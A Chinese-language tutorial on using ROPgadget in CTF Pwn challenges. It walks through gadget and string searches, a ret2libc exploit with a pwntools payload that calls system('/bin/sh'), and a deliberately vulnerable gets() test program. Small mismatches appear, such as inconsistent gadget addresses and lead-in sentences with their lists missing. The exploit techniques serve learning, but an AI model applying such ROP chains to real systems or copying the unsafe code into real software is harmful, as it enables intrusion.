第一次接触CTF Pwn题的时候,我完全被那些复杂的二进制漏洞利用技术搞懵了。特别是遇到开启了NX保护的题目,传统的shellcode注入完全失效,这时候ROP(Return-Oriented Programming)技术就成了救命稻草。而ROPgadget,就是帮助我们快速找到ROP链所需"零件"的神器。
ROPgadget本质上是一个自动化搜索工具,它能在二进制文件中扫描所有以ret结尾的指令序列(也就是我们说的gadgets)。想象一下,这就像是在玩乐高积木,程序本身已经提供了各种形状的积木块(gadgets),我们只需要找到合适的积木,按照特定顺序拼接起来,就能构建出我们想要的任何功能。
在64位系统中,函数调用约定使用寄存器传参(rdi、rsi、rdx等),这就使得寻找pop rdi; ret这样的gadgets变得尤为重要。我遇到过不少题目,程序里既没有现成的system函数,也没有/bin/sh字符串,这时候ROPgadget就能帮我们大海捞针,找到所有可能的突破口。
在开始使用ROPgadget之前,我们需要先准备好运行环境。我推荐使用Ubuntu或Kali Linux这样的Linux发行版,因为它们已经预装了大部分需要的工具。首先安装Capstone引擎,这是一个强大的反汇编框架:
bash复制sudo apt-get update
sudo apt-get install python3-capstone
Capstone就相当于ROPgadget的"眼睛",没有它工具就无法正确识别二进制文件中的指令。安装完成后,我们可以通过pip来安装ROPgadget:
bash复制pip install ROPgadget
如果你更喜欢从源码安装,也可以克隆官方仓库:
bash复制git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
python setup.py install
安装完成后,我习惯先用一个简单的测试程序验证工具是否正常工作。创建一个包含以下代码的test.c文件:
c复制#include <stdio.h>
void vuln() {
char buf[10];
gets(buf);
}
int main() {
vuln();
return 0;
}
编译并检查:
bash复制gcc -o test test.c -fno-stack-protector -no-pie
ROPgadget --binary test
如果看到输出了一长列gadgets,说明安装成功了。这里我建议加上-fno-stack-protector和-no-pie选项,这样可以避免一些保护机制干扰我们初期的学习。
在深入使用ROPgadget之前,我们必须清楚64位系统的函数调用约定。与32位系统通过栈传参不同,64位系统优先使用寄存器:
这意味着如果我们要调用类似system("/bin/sh")这样的函数,必须先把"/bin/sh"的地址放入RDI寄存器。因此,寻找pop rdi; ret这样的gadgets就成了ROP链构造的第一步。
ROPgadget提供了--only参数来过滤特定类型的gadgets。假设我们有一个名为vuln的二进制文件,要找到控制rdi的gadgets:
bash复制ROPgadget --binary vuln --only "pop|ret" | grep rdi
这个命令会输出所有包含pop rdi指令的gadgets。典型的输出可能像这样:
code复制0x00000000004011ab : pop rdi ; ret
这里的0x40060b就是我们要的gadget地址。同样的方法可以用来寻找其他寄存器的控制gadgets:
bash复制# 查找控制rsi的gadgets
ROPgadget --binary vuln --only "pop|ret" | grep rsi
# 查找同时控制rdi和rsi的gadgets
ROPgadget --binary vuln --only "pop|ret" | grep "pop rdi ; pop rsi"
在实际做题时,我通常会先收集所有可能的寄存器控制gadgets,因为有时候单一的pop rdi可能不存在,但组合型的gadgets可能可用。
很多CTF题目会故意隐藏一些有用字符串,比如/bin/sh、cat flag等。ROPgadget的--string参数可以帮助我们扫描整个二进制文件:
bash复制ROPgadget --binary vuln --string "/bin/sh"
ROPgadget --binary vuln --string "cat flag"
如果直接搜索/bin/sh没有结果,可以尝试变体:
bash复制ROPgadget --binary vuln --string "/sh"
ROPgadget --binary vuln --string "sh"
我曾经遇到一道题,程序里确实没有/bin/sh,但通过搜索发现了/bin/bash,同样可以用来获取shell。
有时候ROPgadget的字符串搜索可能不够全面,这时可以配合Linux自带的strings命令:
bash复制strings vuln | grep -i "sh"
strings vuln | grep -i "flag"
这个方法经常会发现一些ROPgadget漏掉的字符串,特别是在处理混淆过的二进制时特别有用。
假设我们有一个开启了NX保护的64位程序vuln,它有一个明显的栈溢出漏洞,但没有提供system函数和/bin/sh字符串。我们的目标是利用ROP技术获取shell。
首先检查二进制保护:
bash复制checksec --file=vuln
输出显示只有NX enabled,说明我们可以使用ROP技术。
由于没有现成的system函数,我们需要先泄露libc中的函数地址。常见的方法是调用puts或write输出GOT表中的函数地址。
首先找到puts的PLT地址:
bash复制objdump -d vuln | grep "puts@plt"
假设输出是400500。然后找到pop rdi的gadget:
bash复制ROPgadget --binary vuln --only "pop|ret" | grep rdi
假设找到的地址是400600。我们可以构造这样的payload:
这样程序就会打印出puts在内存中的实际地址,通过这个地址我们可以计算出libc基址。
假设泄露的puts地址是0x7ffff7a649c0,而libc中puts的偏移量是0x769c0,那么libc基址就是:
code复制libc_base = 0x7ffff7a649c0 - 0x769c0 = 0x7ffff79ee000
在同一个libc中,system的偏移量假设是0x4f440,那么system的实际地址就是:
code复制system_addr = libc_base + 0x4f440 = 0x7ffff7a3d440
同样在libc中搜索/bin/sh字符串:
bash复制ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh"
假设输出偏移量是0x1b3e1a,那么实际地址就是:
code复制binsh_addr = libc_base + 0x1b3e1a = 0x7ffff7ba1e1a
现在我们有所有需要的元素:
最终的payload结构如下:
code复制[填充数据] + [pop rdi地址] + [/bin/sh地址] + [system地址]
用python构造payload:
python复制from pwn import *
pop_rdi = 0x400600
system = 0x7ffff7a3d440
binsh = 0x7ffff7ba1e1a
payload = b'A' * 40 # 填充到返回地址
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
# 发送payload...
有时候二进制文件非常小,可用的gadgets很少。这时候可以尝试:
比如这样的gadget也很有用:
code复制0x400123 : mov qword ptr [rdi], rsi ; ret
当ROP链不工作时,GDB是最强大的调试工具。我常用的命令有:
bash复制gdb ./vuln
b *vuln_function+123 # 在漏洞函数返回前断点
r < payload.txt
然后单步执行观察寄存器变化:
code复制ni # 单步执行
info registers # 查看寄存器值
x/10gx $rsp # 查看栈内容
如果目标系统开启了ASLR,每次运行的地址都会变化。这时候需要:
这就是为什么前面的例子中要先泄露puts地址的原因。在实际比赛中,通常会给一个固定的libc版本,我们可以提前下载对应的libc.so文件进行分析。
为了提高效率,我把常用的ROPgadget命令封装成了shell函数:
bash复制function find_gadgets() {
ROPgadget --binary $1 --only "pop|ret" | grep $2
}
function find_string() {
ROPgadget --binary $1 --string "$2"
strings $1 | grep -i "$2"
}
这样只需要输入find_gadgets vuln rdi就能快速找到需要的gadgets。
Python的pwntools库可以完美配合ROPgadget实现自动化利用:
python复制from pwn import *
context.binary = './vuln'
elf = ELF('./vuln')
# 自动查找gadgets
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
# 自动查找字符串
binsh = next(elf.search(b'/bin/sh'))
pwntools的ROP模块还能自动构建复杂的ROP链,大大提高了开发效率。
在实际分析中,我通常会结合多种工具:
比如先用IDA找到可疑的函数,然后用ROPgadget搜索附近的gadgets,最后用GDB验证ROP链是否有效。